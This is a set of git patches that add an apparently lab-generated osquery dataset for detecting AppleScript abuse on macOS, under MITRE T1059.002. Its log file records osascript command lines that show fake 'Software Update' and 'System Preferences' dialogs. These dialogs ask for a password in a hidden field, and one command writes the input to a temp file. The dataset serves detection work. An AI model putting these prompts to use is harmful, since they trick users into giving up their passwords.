From d5155781a81a83ecf3fad40a7c19f16e5c856b22 Mon Sep 17 00:00:00 2001 From: Radka Date: Fri, 7 Aug 2026 11:18:29 +0200 Subject: [PATCH 1/6] initial commit --- .../T1059.002/osascript/osascript_prompts_user.log | 3 +++ 1 file changed, 3 insertions(+) create mode 100644 datasets/attack_techniques/T1059.002/osascript/osascript_prompts_user.log diff --git a/datasets/attack_techniques/T1059.002/osascript/osascript_prompts_user.log b/datasets/attack_techniques/T1059.002/osascript/osascript_prompts_user.log new file mode 100644 index 000000000..cd62a206e --- /dev/null +++ b/datasets/attack_techniques/T1059.002/osascript/osascript_prompts_user.log @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:8d9a4664b4659024da715b6686e50c86cfd95ca6f6616f1652ade5134cb4aaa2 +size 2853 From 351bdd1da26f1d30dcb7ddcd9c35ab8a6c90efe5 Mon Sep 17 00:00:00 2001 From: Radka Date: Fri, 7 Aug 2026 11:50:05 +0200 Subject: [PATCH 2/6] added data yaml file --- .../osascript/osascript_prompts_user.yml | 17 +++++++++++++++++ 1 file changed, 17 insertions(+) create mode 100644 datasets/attack_techniques/T1059.002/osascript/osascript_prompts_user.yml diff --git a/datasets/attack_techniques/T1059.002/osascript/osascript_prompts_user.yml b/datasets/attack_techniques/T1059.002/osascript/osascript_prompts_user.yml new file mode 100644 index 000000000..de9c7e2b4 --- /dev/null +++ b/datasets/attack_techniques/T1059.002/osascript/osascript_prompts_user.yml @@ -0,0 +1,17 @@ +author: Radka Viskova +id: 67d286c1-1f42-47c1-806a-eb976bb9c542 +date: '2026-08-07' +description: Generated dataset for osascript execution prompting for user interaction with osquery and endpoint security +environment: TalosOffensiveLab +directory: osascript +mitre_technique: +- T1059.002 +dataset: +- name: osascript_prompts_user + path: /datasets/attack_techniques/T1059.002/osascript/osascript_prompts_user.log + sourcetype: osquery:results + source: osquery +references: +- https://osquery.readthedocs.io/en/stable/deployment/process-auditing/ +- https://attack.mitre.org/techniques/T1059/002/ +- https://attack.mitre.org/techniques/T1056/002/ \ No newline at end of file From 945ade4080923c50513d4aa434988f5e5b47cd55 Mon Sep 17 00:00:00 2001 From: Radka Viskova Date: Fri, 7 Aug 2026 11:55:47 +0200 Subject: [PATCH 3/6] fixed typo in osascript_prompts_user.yml --- .../T1059.002/osascript/osascript_prompts_user.yml | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/datasets/attack_techniques/T1059.002/osascript/osascript_prompts_user.yml b/datasets/attack_techniques/T1059.002/osascript/osascript_prompts_user.yml index de9c7e2b4..9a2d88d31 100644 --- a/datasets/attack_techniques/T1059.002/osascript/osascript_prompts_user.yml +++ b/datasets/attack_techniques/T1059.002/osascript/osascript_prompts_user.yml @@ -6,7 +6,7 @@ environment: TalosOffensiveLab directory: osascript mitre_technique: - T1059.002 -dataset: +datasets: - name: osascript_prompts_user path: /datasets/attack_techniques/T1059.002/osascript/osascript_prompts_user.log sourcetype: osquery:results @@ -14,4 +14,4 @@ dataset: references: - https://osquery.readthedocs.io/en/stable/deployment/process-auditing/ - https://attack.mitre.org/techniques/T1059/002/ -- https://attack.mitre.org/techniques/T1056/002/ \ No newline at end of file +- https://attack.mitre.org/techniques/T1056/002/ From 338e82109e787711852924a6e52839dc5b6f85a9 Mon Sep 17 00:00:00 2001 From: Radka Viskova Date: Fri, 7 Aug 2026 12:12:35 +0200 Subject: [PATCH 4/6] fixed the logs file --- .../T1059.002/osascript/osascript_prompts_user.log | 9 ++++++--- 1 file changed, 6 insertions(+), 3 deletions(-) diff --git a/datasets/attack_techniques/T1059.002/osascript/osascript_prompts_user.log b/datasets/attack_techniques/T1059.002/osascript/osascript_prompts_user.log index cd62a206e..985733e0a 100644 --- a/datasets/attack_techniques/T1059.002/osascript/osascript_prompts_user.log +++ b/datasets/attack_techniques/T1059.002/osascript/osascript_prompts_user.log @@ -1,3 +1,6 @@ -version https://git-lfs.github.com/spec/v1 -oid sha256:8d9a4664b4659024da715b6686e50c86cfd95ca6f6616f1652ade5134cb4aaa2 -size 2853 +{"preview":false,"result":{"_time":"2026-07-23T14:40:00.000+0000","host":"ip-172-31-18-170.ca-central-1.compute.internal","columns.path":"/usr/bin/osascript","columns.cmdline":"osascript -e \"\\x0A set userInput to text returned of (display dialog \\\"macOS needs to access System Settings\\\" default answer \\\"\\\" with title \\\"System Preferences\\\" with icon caution with hidden answer)\\x0A set shellCommand to \\\"echo \\\\\\\"Captured hidden input: \\\" & quoted form of userInput & \\\"\\\\\\\" > /tmp/captured_system_settings_input.log\\\"\\x0A do shell script shellCommand\\x0A\" ","count":"2"}} +{"preview":false,"result":{"_time":"2026-07-23T14:40:00.000+0000","host":"ip-172-31-18-170.ca-central-1.compute.internal","columns.path":"/usr/bin/osascript","columns.cmdline":"osascript -e \"display alert \\\"Critical System Error\\\" message \\\"An unexpected system error has occurred and needs your immediate attention. Please contact support.\\\" as critical buttons {\\\"OK\\\"}\" ","count":"1"}} +{"preview":false,"result":{"_time":"2026-07-23T14:40:00.000+0000","host":"ip-172-31-18-170.ca-central-1.compute.internal","columns.path":"/usr/bin/osascript","columns.cmdline":"osascript -e \"display dialog \\\"A critical security update is available. Please enter your password to install.\\\" default answer \\\"\\\" with title \\\"Software Update\\\" with icon note with hidden answer\" ","count":"1"}} +{"preview":false,"result":{"_time":"2026-07-23T14:40:00.000+0000","host":"ip-172-31-18-170.ca-central-1.compute.internal","columns.path":"/usr/bin/osascript","columns.cmdline":"osascript -e \"display dialog \\\"Your system has a critical update that needs your immediate attention. Click OK to proceed.\\\" with title \\\"Important System Message\\\" with icon caution\" ","count":"1"}} +{"preview":false,"result":{"_time":"2026-07-23T14:45:00.000+0000","host":"ip-172-31-18-170.ca-central-1.compute.internal","columns.path":"/usr/bin/osascript","columns.cmdline":"osascript -e \"\\x0A set userInput to text returned of (display dialog \\\"macOS needs to access System Settings\\\" default answer \\\"\\\" with title \\\"System Preferences\\\" with icon caution with hidden answer)\\x0A set shellCommand to \\\"echo \\\\\\\"Captured hidden input: \\\" & quoted form of userInput & \\\"\\\\\\\" > /tmp/captured_system_settings_input.log\\\"\\x0A do shell script shellCommand\\x0A\" ","count":"1"}} +{"preview":false,"lastrow":true,"result":{"_time":"2026-07-23T14:45:00.000+0000","host":"ip-172-31-18-170.ca-central-1.compute.internal","columns.path":"/usr/bin/osascript","columns.cmdline":"osascript -e \"display dialog \\\"A critical security update is available. Please enter your password to install.\\\" default answer \\\"\\\" with title \\\"Software Update\\\" with icon note with hidden answer\" ","count":"1"}} From 7a8b4329611124775c13bd9ad19bf2e792a958b2 Mon Sep 17 00:00:00 2001 From: Radka Viskova Date: Fri, 7 Aug 2026 12:13:42 +0200 Subject: [PATCH 5/6] Update the name in the datasets field --- .../T1059.002/osascript/osascript_prompts_user.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/datasets/attack_techniques/T1059.002/osascript/osascript_prompts_user.yml b/datasets/attack_techniques/T1059.002/osascript/osascript_prompts_user.yml index 9a2d88d31..7004b6a1c 100644 --- a/datasets/attack_techniques/T1059.002/osascript/osascript_prompts_user.yml +++ b/datasets/attack_techniques/T1059.002/osascript/osascript_prompts_user.yml @@ -7,7 +7,7 @@ directory: osascript mitre_technique: - T1059.002 datasets: -- name: osascript_prompts_user +- name: osascript_prompts_user.log path: /datasets/attack_techniques/T1059.002/osascript/osascript_prompts_user.log sourcetype: osquery:results source: osquery From 746f5315dec65ce7279e1d2e24e1b892da1c6cc4 Mon Sep 17 00:00:00 2001 From: Radka Viskova Date: Fri, 7 Aug 2026 12:16:36 +0200 Subject: [PATCH 6/6] erased references field --- .../T1059.002/osascript/osascript_prompts_user.yml | 4 ---- 1 file changed, 4 deletions(-) diff --git a/datasets/attack_techniques/T1059.002/osascript/osascript_prompts_user.yml b/datasets/attack_techniques/T1059.002/osascript/osascript_prompts_user.yml index 7004b6a1c..294bf74e8 100644 --- a/datasets/attack_techniques/T1059.002/osascript/osascript_prompts_user.yml +++ b/datasets/attack_techniques/T1059.002/osascript/osascript_prompts_user.yml @@ -11,7 +11,3 @@ datasets: path: /datasets/attack_techniques/T1059.002/osascript/osascript_prompts_user.log sourcetype: osquery:results source: osquery -references: -- https://osquery.readthedocs.io/en/stable/deployment/process-auditing/ -- https://attack.mitre.org/techniques/T1059/002/ -- https://attack.mitre.org/techniques/T1056/002/